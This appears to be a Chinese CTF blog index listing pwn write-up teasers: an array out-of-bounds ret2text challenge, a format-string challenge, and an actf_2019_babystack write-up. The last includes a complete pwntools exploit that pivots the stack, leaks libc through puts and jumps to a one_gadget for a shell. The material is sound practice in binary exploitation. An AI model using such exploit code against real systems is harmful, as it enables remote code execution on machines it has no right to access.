blog of chuj

BUU-qctf_2018_stack2-WP


这道题是很明显的数组越界的漏洞，题目也给出了后门"hackhere"。于是自然的我考虑通过越界覆写return address实现ret2text。然后奇怪的没有任何作用。于是我看了一下退出时的行为

…

Read more ⟶

XCTF-easyfmt-WP


easy是easy，但是特别麻烦。

简单的四步。

checkin没什么好办法，老老实实爆破，概率0.2，'0'-'4'都有可能

…

Read more ⟶

BUU-actf_2019_babystack-WP


一道简单的通过leave栈迁移实现更长的rop链的题

#!/usr/bin/env python                                        
# coding=utf-8                                               
from pwn import *                                            
from LibcSearcher import *                                   
pop_rdi_ret = 0x400ad3                                       
context(log_level = 'debug')                                 
                                                             
sh = remote("node3.buuoj.cn","28568")                        
#sh = process("./ACTF_2019_babystack")                       
elf = ELF("./ACTF_2019_babystack")                           
libc = ELF("./buu-libc-2.23.so")                             
sh.sendlineafter("e?\n>",str(0xE0))                          
sh.recvuntil("at ")                                          
stackaddr = int(sh.recvuntil("\n",drop = True),base = 16)    
payload  = 'fillfill' + p64(pop_rdi_ret) + p64(elf.got["puts"])
payload += p64(elf.symbols["puts"]) + p64(0x400800)          
payload = payload.ljust(0xD0,'a')                            
payload += p64(stackaddr) + p64(0x400A18)                    
sh.sendafter('>',payload)                                    
sh.recvuntil("e~\n")                                         
puts_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
LIBC = LibcSearcher('puts',puts_addr)                        
base = puts_addr - LIBC.dump('puts')                         
print base                                                   
                                                             
sh.sendlineafter("e?\n>",str(0xE0))                          
sh.recvuntil("at ")                                          
stackaddr = int(sh.recvuntil("\n",drop = True),base = 16)    
payload  = 'a'                                               
payload = payload.ljust(0xD8,'a')                            
payload += p64(base + 0x10a38c)                              
sh.sendafter('>',payload)                                    
                                                             
sh.interactive()

和此题类似

…
Read more ⟶